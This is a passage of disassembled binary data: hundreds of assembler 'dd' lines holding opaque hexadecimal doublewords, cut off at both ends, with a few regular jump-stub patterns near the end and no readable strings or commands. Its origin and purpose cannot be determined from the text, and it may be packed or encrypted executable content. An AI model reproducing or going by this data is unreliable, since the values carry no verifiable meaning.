684C0760h, 350F53ACh, 50CD8CF9h, 9FF8340Eh dd 0EE0985BFh, 3C5B5769h, 34E62204h, 0DC670917h, 1E1A92DAh dd 0E7D9813Ah, 20713C2Bh, 342DE2C3h, 9ADA25E4h, 6F5C40BCh dd 7785D21Fh, 8AC6EA72h, 12BE0D0Dh, 6D3F2A84h, 275337CEh dd 776BC44Bh, 0C4F3h, 0C781DF00h, 0A3B70AE1h, 9DF4CF4Ah dd 4957DC8Bh, 94EBC8A7h, 8C2844DAh, 2C164443h, 6EA22EFDh dd 0FB94EBD3h, 44A35F79h, 94C12A0Ch, 0F580CF24h, 0EFFC196h dd 0C6E67782h, 84001E8Ah, 88D9EC9Bh, 73BF8BF7h, 70B9D5EFh dd 0D5026FDFh, 0DB2C5C7h, 0F966F873h, 682C49Ah, 540F8A19h dd 0D9879B70h, 674D3957h, 5D67F72Ah, 0A1B9C8C1h, 289E6A4Ch dd 99E18C8Bh, 9515156h, 0F0029E3Ah, 5059FBE4h, 0E89C013h dd 0FA000011h, 4CAB6761h, 9CFB3709h, 0ED0A86B8h, 3956526Ah dd 96E31F21h, 1E2036A3h, 0EFD985E2h, 0B983D433h, 422227Dh dd 2F3DD288h, 92DADD9Dh, 815C74F0h, 0CC2BE7D9h, 0D1F77194h dd 0CCC864FAh, 0E1C781C8h, 848470Ah, 0A0A0FF2Eh, 77ED0A86h dd 2D277A51h, 0C1BF8F0Bh, 6CFBF848h, 0C68D8540h, 1996888Ah dd 0B142FE8Bh, 5E93E365h, 43D6E3F1h, 0A1B9888Ch, 44A9194Ah dd 0C60A0D1Bh, 213976C5h, 0F56C2BB6h, 0C49364D3h, 92420951h dd 6A4C041Bh, 0A8426EFDh, 0DD611AF9h, 497FE2BDh, 0C385E240h dd 0C1FF6B36h, 0D06C63E3h, 0F059CA2h, 2D24F74Eh, 105Dh dd 1894B0ADh, 0A86458FFh, 0FB37094Fh, 783A59Ch, 504C76E8h dd 71E97225h, 2634534Fh, 0D287E01Ch, 93D532EEh, 8CA379B5h dd 0DADECE60h, 0AD858392h, 0AE1C781h, 5B84E959h, 0C6D9CC4Dh dd 0A35FC38Ah, 0CA155AAAh, 1212ABBEh, 2BB4AA73h, 3BF1257Ch dd 6FEE45A0h, 29D19E06h, 683BF283h, 42FDD664h, 0A1659C67h dd 4016F975h, 3DAD71h, 71290000h, 0C054D6E2h, 312994EBh dd 0FAF747F8h, 81C3DE6Dh, 7F6A66A7h, 7A8AC692h, 0A803251Fh dd 8A941796h, 27193E5Dh, 726DFDEBh, 0A49C6D3Fh, 85210741h dd 5769EE09h, 0FB3DD74h, 6FC50000h, 754B111Fh, 0F0628ED9h dd 958ADCE6h, 20CF5A85h, 25269A14h, 6573EF6Dh, 6D2526CBh dd 0E669A0BEh, 0C1F62C5Bh, 9B2C8A4Ch, 73550F12h, 3E1858B7h dd 3D237EEDh, 6F9EA00Bh, 0F6618EFEh, 1243AFEAh, 2FB8A673h dd 7BD4EE70h, 242BE2E6h, 9EC9EF69h, 83685C03h, 37500EFFh dd 83B01B3Dh, 0C98E0D33h, 5C0A14F7h, 67764AD2h, 8FCCBBA7h dd 7E34459Dh, 0BB46912Dh, 766503ADh, 0CDDB7667h, 67766523h dd 7DACC856h, 41DBC6D2h, 0FB96795Bh, 0C08F5C78h, 99483AB4h dd 0B7D34F79h, 19ABB776h, 568E164Fh, 0ACC8754h, 0FE00000Fh dd 50AF6B5Dh, 0A0FF3B0Dh, 0F10E8ABCh, 3D5A5676h, 9AE72325h dd 22243AA7h, 0F3D589E6h, 0BD87D837h, 82E2641h, 1321CE8Ch dd 92DADF99h, 0F05068ECh, 94EBC062h, 0E302463h, 0FB6C9DBDh dd 0EBF9668Bh, 8ADCE7D6h, 6B26B1A9h, 36D9D0F4h, 7EF01CABh dd 7F6D2526h, 2526DF51h, 4FACB26Dh, 8DC7DAD3h, 0A5E06FABh dd 182685A3h, 0F0D68E91h, 6A713867h, 0A671BDDFh, 57A79467h dd 62BFCD1Ah, 6D730889h, 559347EDh, 5784505Dh, 0E7CFCh dd 0F5CF8C00h, 457BDE39h, 142A2E49h, 0E0C47F98h, 0AD97CB24h dd 0C8550471h, 1770AC96h, 66817D47h, 0B4D3CFF1h, 0BC1E9ABCh dd 0E0EF81AFh, 0E66292DAh, 0E1C781C2h, 9BBDB70Ah, 90A514Ch dd 0EBC071FBh, 0FE1A0494h, 7AFB7C0Fh, 0DE0E5886h, 65B67D96h dd 10000009h, 85D21F6Fh, 0DCE77777h, 0C7100E8Ah, 72AE88C8h dd 3A465315h, 6D2527B0h, 27119BA9h, 0FA646D25h, 2EFD1901h dd 252714A2h, 0B6BB0B6Dh, 45FF9A29h, 37F68863h, 83E7899h dd 0ACB89773h, 67482002h, 254FEB77h, 505CBE3Fh, 0DA84CF1Ch dd 2E00000Dh, 809F1B2Dh, 0D02FEBDDh, 217EBA8Ch, 6D8A0626h dd 0AAD7D3F5h, 0D2F46AF7h, 0A3A5B9D6h, 6D570867h, 381E56B1h dd 0E3F11EFCh, 92DAE049h, 8120383Ch, 0B70AE1C7h, 37309BBDh dd 0E28CBA8Eh, 9A7D96DDh, 8D0h, 0C062F044h, 0D7D94EBh dd 856977E0h, 0F88ADCE6h, 0DA9AF966h, 6DE700FCh, 83F3604Bh dd 36D3E16Eh, 3573083Fh, 1F109AA6h, 65F96748h, 5F68863h dd 7DCAAFC6h, 3450B9A7h, 8B139DABh, 0F8666748h, 46EC7231h dd 505D53A8h, 46E960B3h, 0C200000Dh, 1473AF99h, 64837F41h dd 0B5D2CEF0h, 11E9AB2h, 5EAB6759h, 6658FE9Bh, 37114DAAh dd 81BB9CFBh, 4C6AEA05h, 57658A50h, 92DAE1D5h, 8194ACA8h dd 0DD3822C7h, 65359D35h, 3E5AF6B3h, 0F0D68EEDh, 0F7753867h dd 1C613633h, 9FE86365h, 0DBD21941h, 0B2962F48h, 0FACA910Ch dd 2B2E0911h, 79F59415h, 2D7D97A2h, 818h, 0D21F6FA9h, 24EF1685h dd 0A13CF8DDh, 89802A36h, 65F594EBh, 949FADA4h, 0D78ADCAFh dd 4D9EB8B8h, 2139FC2Dh, 6C99DBB6h, 967F8981h, 0E723BFD1h dd 1DEEC888h, 247321CFh, 0A1CE3E6Dh, 3D075B36h, 0B65950EEh dd 96A6FAAh, 4AF86673h, 505BF2A6h, 86C78E5Dh, 8200000Ch dd 0D433EFD9h, 2443BF81h, 75920E30h, 0C1DEDAF2h, 1E6BA799h dd 0A698BE5Bh dd 77510D6Ah, 0C1FB5CBBh, 8CAAAAC5h, 97A54A10h, 92DAE215h dd 81D4EC68h, 0B70AE1C7h, 514C9BBDh, 45D53616h, 0EA6AB144h dd 0C05FD1FFh, 2C3294EBh, 71E43B90h, 5F40019Ch, 51ED2660h dd 4E322B7Ah, 0E9DD669Bh, 97BBB1BDh, 75A557Dh, 0F0710000h dd 94EBC07Dh, 72DD1262h, 0DCE69066h, 0E26DED8Ah, 22243857h dd 2978B1C9h, 728D092Fh, 46F7D4F2h, 0C36EF9F6h, 60A993C4h dd 826ED50h, 0D44D8073h, 0CA84AE8Ch, 9763912Dh, 78505CECh dd 0BDBA0ABh, 2E2F0000h, 0DA819E1Ah, 8BD12EEAh, 271E79B5h dd 0F46A8501h, 0F4ABD6D2h, 0D1CDF76Bh, 66A2A4B6h, 0B06C5009h dd 0FF3B1D57h, 48E20E1Dh, 3D92DAE2h, 0C7812307h, 0BDB70AE1h dd 67414C9Bh, 368C2B7Fh, 0A20D8009h, 67E1C5B9h, 18524541h dd 0CC7D97A8h, 162h, 3702710Eh, 0FAE07591h, 7414049h, 0FD77CA21h dd 5530DFDBh, 4ED03B0Dh, 115EAE5Fh, 0F95C3BC6h, 535AE4C7h dd 0C63CA43Dh, 8467FB8Ah, 3E20BA48h, 7D41F06Dh, 6CBE1551h dd 81D4B377h, 0DB426Ch, 0BEDA8173h, 2CBA4Fh, 6F240000h dd 7785D21Fh, 8AC6EA72h, 0E382261h, 0A9021C9Fh, 3F2A9523h dd 5530DF6Dh, 52EC3F09h, 0B0DEA25Bh, 776BC3B6h, 0D06Eh dd 0C7816800h, 0A3B70AE1h, 75EF3299h, 23257853h, 0E96F92C6h dd 0CE6AF4D7h, 0C5C15DFDh, 0EBF447DBh, 0A482C294h, 35D84C3Bh dd 0F5694CB6h, 6FDF4E34h, 0A3B6D502h, 43E882AEh, 0FD9D6B14h dd 0B6278A61h, 5249BCDFh, 0DE71B8D4h, 26AD46B2h, 64F36F75h dd 930F3129h, 6E4E0984h, 0F50CFD9Dh, 5B295B6Dh, 284A2EADh dd 0AAB50FBh, 0FE5F0000h, 0AAB1CECAh, 5B011E9Ah, 174EA965h dd 0C49AF531h, 4FB0682h, 1FDC79Bh, 565274E6h, 0E01C2039h dd 2FEBCD87h, 38B2DE6Dh, 4D92DAE3h, 0D981F3D7h, 2F3D3024h dd 94EBC09Dh, 0F9D26EF0h, 0A7FEDDB2h, 0CA66A69Dh, 531572AEh dd 1EB154A6h, 0BA85261Ch, 86510913h, 6CFB1784h, 0B11A2A31h dd 958260A9h, 0AF5E60F6h, 0E1C7812Bh, 9BBDB70Ah, 0CF95F01Fh dd 6D0530F9h, 76000005h, 0C053DDEBh, 382694EBh, 271D5F1h dd 0EEB742EDh, 0E51697C8h, 600F5895h, 94C62325h, 0A5B516B2h dd 77716C64h, 2D688AC6h, 0FB28C431h, 4FC6CEC6h, 0CD95D833h dd 4AE8ED1Bh, 31F43551h, 600EC229h, 916D3EF6h, 371AF1D7h dd 3EF68729h, 0B64FA6Dh, 91B7B156h, 2388243Ah, 71F8CC71h dd 82B094ADh, 776C0FE8h, 0B5E4BBE6h, 713E0852h, 7AB316AAh dd 225ADh, 7BF02900h, 7A94EBC0h, 1F4E5F0Fh, 0A26BAAFAh dd 0A32C41B1h, 0EA8A6914h, 12FA7480h, 938F94EBh, 0DE6247A4h dd 0E455A12Fh, 0A9D48ADCh, 4F53EB0Fh, 2ECD3C09h, 68E8A730h dd 0DC82014Eh, 0D07F23EAh, 7848DAA5h, 0C4C59958h, 0FA5EBBBDh dd 9E6D5707h, 0FB876480h, 2487B99Ch, 202DFE1Ah, 0A934A3D0h dd 7A5177EAh, 0F3D58BE4h, 0B27963Ah, 0E07E7308h, 5CD3DC52h dd 0CD845750h, 941h, 74B094C9h, 8400441Bh, 0D7D3F56Bh dd 639FB9B8h, 0AC685204h, 5D059E41h, 0A50AF6Bh, 0BEA3FC38h dd 77F10E8Ah, 68875551h, 0DAE5D25Ch, 89A1A792h, 0AE1C781h dd 309BBDB7h, 22887CE1h, 0BCDB0422h, 3B47A49Eh, 0DF8B0CF2h dd 877D96D9h, 15Ah, 0E1C78143h, 758470Ah, 4AE63D4Fh, 490B1697h dd 0A2A5E06Fh, 0AE5F038Ah, 3BC6115Eh, 0CAC3E55Ch, 0C6AC33C6h dd 51F528Ah, 0C79F5D84h, 0C10FDC78h, 6D3EC133h, 0B1B3EE79h dd 19ED1697h, 6BDE81EDh, 3E2577h, 6FA10000h, 1685D21Fh dd 0AAA273A0h, 183C1BA2h, 5C68E726h, 8AC6B455h, 76D53628h dd 8853DDEBh, 38266D3Eh, 8831DFF1h, 0FA7B6D3Eh, 2C355006h dd 254183DBh, 2189E5E4h, 0C13D776Ch, 99000000h, 0AE1C781h dd 2E084847h, 0DA311751h, 243A4544h, 0F272C922h, 0CCB28607h dd 4105212h, 94EBCD6Ah, 98E7031Fh, 0DD6E3860h, 2388242Ah dd 129164DCh, 0D902826h, 0AB35F10Dh, 94EB6807h, 484462E2h dd 16AF71C1h, 5A912CD0h, 1877E07Ch, 97AB0042h, 3DEDFB16h dd 508AD989h, 0E6F281CEh, 6D390D44h, 69E82139h, 9612342Ah dd 55DFE179h, 4A2DD1EBh, 0F6C88350h, 12000007h, 64837F49h dd 0B4D3CFF1h, 5629EA0h, 51AE6A42h, 8EFB3709h, 36084ECBh dd 87C19DFAh, 516BEC0Bh, 1C3A3A55h, 7153AE0h, 92DAE665h dd 81441C18h, 0A1B9D4D9h, 24324C9Fh, 94EBC08Ah, 87A1A0FFh dd 0B4D3CF6Bh, 7A1E9ABCh, 0C6D2C781h, 94EBC024h, 46A5C159h dd 0A35F79FBh, 2D3B0h, 1F6FA600h, 0C17785D2h, 9C8ADCE6h dd 3F365582h, 23ACB219h, 25269B15h, 0B970EE6Dh, 2658E6EAh dd 0F5126D25h, 26D05A66h, 0B5A56D25h, 0CBF7CB74h, 7765BF9Fh dd 0C0E65E3Dh, 0C15657EBh, 265h, 0C07BF00Dh, 1F7A94EBh dd 372A053Fh, 65A4BA11h, 0E06F84F4h, 30BAC655h, 4594EBC0h dd 0C050DAE6h, 352594EBh, 88224E99h, 0FD94EBC0h, 8624AC5Dh dd 0CB8ADCE6h, 1E7D0857h, 95A50638h, 6D4B0D14h, 0FB1E56B1h dd 0B4E4B166h, 0ADE3249Eh, 2516F511h, 404F98D5h, 9A8212C4h dd 6FE22BE3h, 0E582D5C0h, 1DF547C0h, 27E6025Ah, 8F034A9h dd 0ADD74B73h, 505D6EFDh, 0DECA9D4Eh, 2A000006h, 7C9B1731h dd 0CC2BE7D9h, 1D7AB688h, 6986025Ah, 0A6D3CFF1h, 0CEF066F3h dd 9FA9B5D2h, 69530463h, 341252ADh, 0FF0D22F8h, 92DAE74Dh dd 812C0400h, 0B70AE1C7h, 0E1309BBDh, 152F2F6Ah, 13976B94h dd 24BB7751h, 7D96DA4Ah, 19CF2h, 0C781DC00h, 0BDB70AE1h dd 93A14C9Bh, 94EBC019h, 0BF85F26Ch, 3A9C9B57h, 5BD2B079h dd 0CA5986EBh, 0F69F113Fh, 6CF294EBh, 0E88E13BDh, 79E18AC6h dd 0F4903E92h, 5BDA6D3Eh, 122F3B67h, 52D7776Ch, 78000000h dd 3807411Dh, 90B813Dh, 1FBB7296h, 54D6E271h, 0B594EBC0h dd 2D4D9EAEh, 7DF750CEh, 51A1525Bh, 65467ADFh, 22EB9D5h dd 8AC6EAEFh, 3C13F866h, 0C8C1E761h, 3F293AC8h, 0FDC1706Dh dd 0CBECA59h, 416D3F29h, 0BDA9D0D9h, 61776BC2h, 0BBh, 0E1C7816Dh dd 5AA3B70Ah, 4BA03C1Ah, 715A7CF4h, 0A59FBFDAh, 0C09C2E3Ah dd 69F194EBh, 0F2E761A0h, 0EBC044E6h, 85213994h, 72C0CF5Ah dd 734E081Ch, 0CE9719C7h, 74EA94EBh, 0A844E20Bh, 0BB7218CBh dd 0BFCD58C7h, 94EB8C0Dh, 7B407ADCh, 36AA26E7h, 0D394EC0Ah dd 0F27BB791h, 0D6E26D82h, 7526D12Ah, 0CFE96827h, 94C35FDEh dd 0A35F61F9h, 9A281244h, 4A2E8A32h, 82EB62B1h, 86000005h dd 0D837F3D5h, 28474385h, 79961234h, 0C522DEFEh, 26FAB9Dh dd 0AA9CC25Fh, 7B4D116Eh, 0C5FF60BFh, 90B6AEC9h, 9BA94614h dd 92DAE911h, 81C8E064h, 0CC2BE7D9h, 6625B294h, 5DFDCEF0h dd 71E2F6ACh, 0F4BDB602h, 0A679CA8Bh, 0EBE857A8h, 4F618116h dd 7CF9E339h, 9ED629E0h, 540C53B8h, 0B4A6E572h, 0B6213992h dd 0EB0B00AAh, 24E57594h, 2AA2D17Eh, 540E483Eh, 4F862834h dd 67FB94EBh, 394BC2CBh, 0A4000000h, 38EA52F9h, 8706F96Fh dd 0E1C78103h, 98BCEB76h, 20C1D6E5h, 18E48650h, 819994EBh dd 0ABD67508h, 37D6F478h, 0D827E6D8h, 0B86DBE98h, 7DF7BB8Fh dd 1CB45F5Bh, 0A2000000h, 0AE1C781h, 0EBC03BC6h, 72014094h dd 0EBC0C466h, 68A1B994h, 0ADA70BFFh, 818B0F8Bh, 83E22C7h dd 0DE2E1FECh, 79F80D52h, 56E8C35Fh, 0D59FAD3Ah, 788ADCE6h dd 5A1A79E6h, 4A084BFh, 0D3F56F88h, 0F6FB4BF8h, 13E5B69h dd 5E3D7312h, 5AE4C7F9h, 0FB9DD053h, 9EADC796h dd 0AEED7A96h, 0FB1490B6h, 95F05F79h, 7C0FFECEh, 0E5727FCFh dd 5BA5AAD7h, 70EAA979h, 24E57556h, 461A41h, 7B005EE4h dd 0B86B568Eh, 43C91h, 0B58FCC00h, 53B1E79h, 0D4EA6E89h dd 0A084BFD8h, 6D570B64h, 89544B1h, 57B06C56h, 0A6C13D07h dd 0F4138FB1h, 0FC5E5A7Ch, 0EAAF416Fh, 0A6A292DAh, 0E1C78182h dd 0AC8ACA25h, 6640005Fh, 3D013A85h, 0CDC9EF69h, 96D9A0CAh dd 3B447Dh, 71860000h, 0C054D6E2h, 312994EBh, 0FAF747F8h dd 92125F6Dh, 1D3D8AC6h, 0BE82D7B2h, 72C45442h, 0C6C56D3Fh dd 227DAC92h, 87293722h, 0FA6D3F72h, 0B3CCC864h, 1E319AAEh dd 3B5h, 0C30271F8h, 0D0578160h, 86BEC1C8h, 7CF44BA0h dd 0F4D15B69h, 263894EBh, 48B3CF1Ch, 0F455D7E5h, 362894EBh dd 8B827E9Ah, 9BA9363Bh, 8AC6EA06h, 0D05A66F5h, 0A56D3EF2h dd 0BD9BDAB5h, 26B1A94Ch, 4C12F36Bh, 5C2FDE7Ah, 3EF2E270h dd 9FA86Dh, 4B0C6B5Dh, 5849A71h, 70FA281Ch, 14776C0Fh dd 38h, 0D21F6FB6h, 0EA727785h, 0D0D8AC6h, 2A8412BEh, 0EE756D3Fh dd 0B7AE0DDEh, 72EB3A91h, 8D86088Eh, 0CFC546DCh, 0C5C06FB3h dd 0C67FAE9Eh, 959AD402h, 0D442776Bh, 8C000000h, 2B5D0271h dd 625BB127h, 3A1C54ABh, 0F2D48AD1h, 0A482C219h, 5E78F847h dd 0BA4282F1h, 55E50F00h, 0C7B09CE7h, 8F7EA7E5h, 134944D3h dd 3CD4FC2Dh, 0CD94EB84h, 0D6E86E8Bh, 27217EBAh, 0CDABD601h dd 31E39539h, 0D3ECD3Ch, 6BDA63BDh, 663C8F90h, 6A8F9DCAh dd 58AC608h, 20909915h, 8E7884D3h, 0CF730C50h, 73BA8CD0h dd 6221AEB0h, 0B1CECAFCh, 0DB6D97A9h, 3050590Eh, 29B68E3h dd 0EE6F0000h, 9AC1DEDAh, 4B116EAAh, 0E75EB975h, 0B4AAC5C1h dd 34EB1692h, 118DB7ABh, 0A66264F6h, 0F02C1049h, 3FFBDD97h dd 8A2CE5Dh, 7D92DAEBh, 0D981E3C7h, 8ACD3024h, 0A5B516B2h dd 0F2728D09h, 0C057D9E7h, 342A94EBh, 84F31C98h, 0D68BCCD5h dd 4CC185F2h, 713F5B52h, 93784E12h, 0C01E90BCh, 0EF7394EBh dd 59A95A53h, 8BCCCB14h, 0CBD978B1h, 8AC6EAA6h, 666A41D9h dd 6D3F29D8h, 739F6392h, 776BC2F7h, 0BEAFh, 12712B00h dd 6CB37A4Ch, 0F685D2F4h, 0D3FDC79Bh, 94EBC059h, 28FB322Ch dd 50BB8DD5h, 0EBDB947Ch, 15333594h, 33C67E99h, 0C941A109h dd 0D53652F4h, 8CDB1868h, 0B6774911h, 0A4748D9Bh, 170B7539h dd 0CD22929Bh, 0F06F7682h, 1806730Ah, 9A1420CFh, 0EF674DF8h dd 0F897BA73h, 86BA9F66h, 0BECA1525h, 674DF80Ch, 41BDD941h dd 0E40E3026h, 505A676Eh, 9EEB62B1h, 6A000001h, 0BCDBD7F1h dd 0C6BA799h, 5DBA7648h, 0A9C6C21Ah, 0E6138FB1h, 8EB0A633h dd 5F69F512h, 291344A3h, 0F4D292EDh, 0BFCD6238h, 92DAEC0Dh dd 81ECC440h, 0CC2BE7D9h, 0F9738194h, 8C94EBC0h, 4A8A8841h dd 76921FA3h, 81BADEDAh, 0B70AE1C7h, 1F9BBDh, 0CD39B540h dd 1F4F079h, 0E55506E5h, 0A8315F88h, 0C78AC661h, 79D25C68h dd 0BBA76D3Eh, 8ED5B01Fh, 1905F1BEh, 9EA9ADC5h, 69EC9C6Fh dd 71571195h, 69EFAAB5h, 5C66F857h, 93AF38Fh, 4B5D67B9h dd 0A72B9675h, 5231DC0Bh, 0C1CF3E08h, 73130BB8h, 6E002CBBh dd 0E3674112h, 73EF8E7Fh, 25034598h, 5034CDC6h, 0A02F44B4h dd 14E7EE5h, 411179F3h, 9B120C67h, 0F516874h, 322C796Ch dd 0F9DF99F6h, 758ACF12h, 1443DFE9h, 3E20E579h, 7F03E804h dd 84053F20h, 2A1E07F1h, 7839CC84h, 0CCB1CA8Fh, 87900CA8h dd 0F942ECF8h, 0E8377994h, 0F5345072h, 50FFF444h, 0B9B4BD44h dd 0CA8DD067h, 267556F2h, 0F1A3082Eh, 6CDC784Ch, 35CCD807h dd 486D928Bh, 4E4DDAD6h, 45D53608h, 0E63D344h, 842632C1h dd 0F975C313h, 2289BFA2h, 609801Ch, 0F4349BFAh, 5FACB26Bh dd 47554000h, 4E1C79A5h, 0BD2A46D8h, 45447ADEh, 0E0C67E99h dd 7E581877h, 891C8DADh, 0D2102C43h, 0CF009C8h, 0C88AEA6h dd 745771F3h, 0BD0E2E29h, 6415CF3h, 8A7EE726h, 8E0A2C24h dd 0FAD1F771h, 23253857h, 8889BA54h, 9F0ED987h, 874h, 12716200h dd 0B3B37A4Ch, 0E8DC8197h, 0A284BC03h, 5B6DF249h, 17312D70h dd 0CFF169B4h, 87B9A1FCh, 0BE9ED924h, 744A0E6Dh, 33154897h dd 895108D8h, 4C181E1h, 83000000h, 0C8704E9h, 24248B24h dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 2468242Ch dd 89000051h, 5551241Ch, 1C23A0BDh, 0F5816Bh, 8935E078h dd 73BD5DE9h, 3158CD41h, 8B5459CDh, 0C483241Ch, 8B85004h dd 2D000000h, 0AE504DDh, 0DD05D801h, 890AE504h, 1C8B5828h dd 0E0895024h, 405h, 4C08300h, 5C240487h, 5D2434FFh, 4C481h dd 85E90000h, 47FFFA50h, 0B4A933D0h, 0B8017478h, 6312EAEh dd 0E0FFC503h, 3389081Dh, 51E52959h, 120E4BEFh, 24E9h dd 0B5648500h, 41000046h, 2, 6 dup(0) dd 0BD9E900h, 0E9680000h, 0E9063130h, 0FFFB2077h, 3131D568h dd 206DE906h, 1568FFFBh, 0E9063133h, 0FFFB2063h, 3133DD68h dd 2059E906h, 0BD68FFFBh, 0E9063134h, 0FFFB204Fh, 3136A468h dd 2045E906h, 3668FFFBh, 0E9063137h, 0FFFB203Bh, 3138CD68h dd 2031E906h, 0C168FFFBh, 0E9063139h, 0FFFB2027h, 0D256A7E3h dd 0F509763Fh, 0FE34E10h, 24D82B6Ah, 72B60341h, 88CEBC91h dd 5924F93Dh, 3A7F1216h, 0C5429CDh, 0E4C541A5h, 0EA20418Eh dd 50435C91h, 30A7B3Bh, 0F539C12h, 0B3FD97DBh, 6130384Eh dd 186929EEh, 186F3411h, 0DFC6BD79h, 3B2C5D4Ch, 0AE2994DEh dd 0F034C38h, 2A1E97DBh, 9ADE74Bh, 10589DE6h, 4DBAF8E9h dd 5091F00Eh, 0A8D689E8h, 91F00E63h, 4912001Fh, 71A65FFFh dd 20DAh, 0C2257100h, 80722029h, 959DE626h, 74432ADh, 7B91F019h dd 9BEDF69Ch, 6671A678h, 0BCh, 0A7B3B15h, 0BB0E548Dh, 87CA0F3Ch dd 5D9EE124h, 0A60F5744h, 0C6033439h, 0A75317Ch, 1797DB0Fh dd 5EA5EE23h, 0F2125247h, 5BDF43B2h, 0DB3469EFh, 0B37FC797h dd 0DB0BB0FFh, 31A5AD97h, 0E95818FDh, 0EB5C1BE0h, 891CD78Ah dd 0C18BE716h, 0C49DE627h, 49B989Ch, 520C626Bh, 0AF9BCED0h dd 0F55B2BBh, 0E5A346BAh, 4B7DD790h, 0C37E8AB1h, 9BDB5h dd 2796D200h, 1E652EC3h, 0F03D071Ah, 0A91A593Ch, 87F2B055h dd 3D4B8063h, 0BEE0277h, 6E03E748h, 0BB5ED229h, 0FA768AFBh dd 3F70BFF3h, 0B26D91EAh, 87D3B63h, 4300C5F4h, 0E15211F4h dd 4ABBFB90h, 135C5243h, 0E97DB0Fh, 2C7F3B5Ah, 2029C225h dd 0E6268072h, 0B4FC959Dh, 0A85CD24Dh, 1908432Fh, 997491F0h dd 0B5FE5B8Dh, 3B0D374Eh, 8671A679h, 0C3h, 0A7B3BB5h, 0BB0E548Dh dd 34CC723Ch, 226297DBh, 0FABA5FD3h, 0F319828Bh, 9B348BDDh dd 1CD78AEBh, 3731B89h, 0BD6C5DE7h, 0DB0086F1h, 23D79B97h dd 2AE08EBFh, 2F9DE62Ch, 1B87F0BEh, 0D69A91F0h, 0B235CE22h dd 95623039h, 489BCED8h, 8AE81900h, 97DDA75Dh, 48791840h dd 4970C583h, 0C770C78Ch, 0A1443243h, 81F09BE3h, 429F8962h dd 704111DEh, 7328AB1h, 8D179h, 53AAEE00h, 0A793ADFh, 0EC5113F6h dd 0C52E7508h, 0B3064C21h, 0C9BF947Fh, 27FA3E8Bh, 7A1F135Ch dd 572ACE3Dh, 0C642A60Fh, 3E5C8BE7h, 4E4191EAh, 87D3B5Fh dd 5E5CC5F4h, 477136A1h, 105F535Ah, 0D97DB63h, 175F3C45h dd 3B014AAEh, 548D0A7Bh, 0B241A50Ch, 0E589B02Bh, 9DE6452Fh dd 30E996DAh, 8ED0170h, 307EF948h, 1AB61FBAh, 1E1A0807h dd 0D9F3BE56h, 39B12E9Bh, 41840AB5h, 8D05B2FFh, 4000E519h dd 0D23846F1h, 0DC16B619h, 5B1B1105h, 337316EAh, 0F562D393h dd 5D4EC97Dh, 0AE3F26A4h, 663FAB4Eh, 0B6CFB618h, 2CF6D116h dd 0E5196828h, 46F14000h, 9687188Fh, 74098E18h, 0BEF53E3h dd 0F3FA7568h, 79E64D16h, 0E3FA0F1h, 0ACE0EA95h, 0D4ADF51Ch dd 5F873C6Eh, 0BBF95EE5h, 69D1374Eh, 8A1DC760h, 9CF9BDB5h dd 0EE3C4A05h, 92E94975h, 74C6AF77h, 41EA0DD8h, 496h, 0D8076B9Ch dd 0C5E9497Dh, 92A1049Dh, 97DB0F25h, 0DB3FE922h, 1BADF697h dd 296297DBh, 8197DB1Ch, 3D6A081Eh, 2097DB1Ch, 76E0D035h dd 9C006F4Bh, 0FF8DE1E8h, 3A9DE612h, 0CF3B936h, 79E490D6h dd 7910Bh, 136A2E00h, 0CA397A1Fh, 0AC115336h, 85EEB548h dd 73C68C61h, 97FD4BFh, 673AFE4Bh, 0BA5FD31Ch, 976A8EFDh dd 868266CFh, 3C9CCBA7h, 8E8191EAh, 0A7B3B9Fh, 0D8534A8Dh dd 1C5BA0D1h, 8E64CAABh, 7B9DE85Fh, 4001C6F7h, 0FC244F3h dd 0CF43FC49h, 0CA05C0B6h, 232AC5D8h, 0A7509BE6h, 52C63572h dd 0CAEC8243h, 979BD775h, 0F61F8AAEh, 0C19A4FB8h, 77EE5297h dd 188C5DC9h, 6D4F4B8h, 697CC4A2h, 0D8D6C7F6h, 38A0766Fh dd 36B7CE72h, 9D44A278h, 44F36732h, 98811A8Dh, 0B637CC1Ah dd 5311F634h, 0C499FE6h, 3C860D0Eh, 64951922h, 9296DFA7h dd 8A4EE2Bh, 0CD4AFE49h, 175F3C45h, 2C6501AEh, 0EB563A26h dd 6C99Dh, 2BA2E600h, 27132D7h, 0E4490BEEh, 0DD266D00h dd 8BFE4459h, 0C1479C77h, 1FF23683h, 7217EB54h, 4F22C635h dd 0CE7ABE07h, 3C44B3FFh, 465991EAh, 682AEF57h, 8D149A05h dd 6D9C0F96h, 901EE6A8h, 97DB0F27h, 1582363Ah, 0AFC3049Dh dd 9DE645F5h, 5A3FE67h, 8DB5CE35h, 0B8FD94F4h, 0FF20DF43h dd 78A7CBB7h, 6591F0BAh, 9CE49FDh, 9841FE4Bh, 28F16ED9h dd 50CF1A65h, 0A3EC8242h, 0BE91F0BAh, 6588068Ah, 46E0CEFCh dd 0D1A06AEBh, 0A73E14FEh, 0AB690534h, 5E9BCD05h, 71DA16EAh dd 6E97DB7Ah, 97DB7A21h, 6C9D0E91h, 1F98E5AFh, 0A8D90A6Bh dd 7A8CFBB7h, 0A99197DBh, 2A886AC8h, 0F57D9DE8h, 55F03C4Ah dd 4D8A91EAh, 8C02BD06h, 554589F5h, 4B0B91EAh, 503B4DFAh dd 13C8479h, 5E973h, 4BC28600h, 2291D2B7h, 4692BCEh, 0FD460DE0h dd 0AB1E6439h, 0E1A7BC57h, 3FD256A3h, 12F70B74h, 6F02E655h dd 2E5ADE27h, 3B24931Fh, 663991EAh, 29C22537h, 5FB07220h dd 1D459DE8h, 8CF5BD62h, 980D8B68h, 98EFB491h, 0D19146F9h dd 0CEC07960h, 6EB776D2h, 0AE199584h, 0B391EA3Bh, 6D00F68Fh dd 68ADDC25h, 88C7DE29h, 0ADF70F57h, 68ADDC40h, 0D55DDA25h dd 0B8A6D42Ch, 552CCF6Bh, 0F0A27D1Ah, 0B175BC84h, 0AD07C9B3h dd 1AE1471h, 254B0000h, 0CA3578C2h, 2851C54Dh, 7391D237h dd 0DF53CC31h, 9AE44A2Bh, 209DE636h, 79249EDBh, 2C5A1BCCh dd 80D8B92Dh, 0B52E5FD8h, 0F32649A0h, 0B5F99860h, 91F05554h dd 0BF977F5Ah, 337C3228h, 0C191F055h, 0E0741Eh, 0B3A7C9FAh dd 6901E0Fh, 0DB9BCD9Ch, 0B6FE9397h, 470FD04Fh, 66793AFEh dd 3F07C4F5h, 0D3EAFF6h, 0F5B98BC8h, 97DBA38Ah, 863FA397h dd 0A0EEF8Ah, 9CE2B340h, 9DE66546h, 0B99E8FB3h, 78F78EFBh dd 0F062DD0Eh, 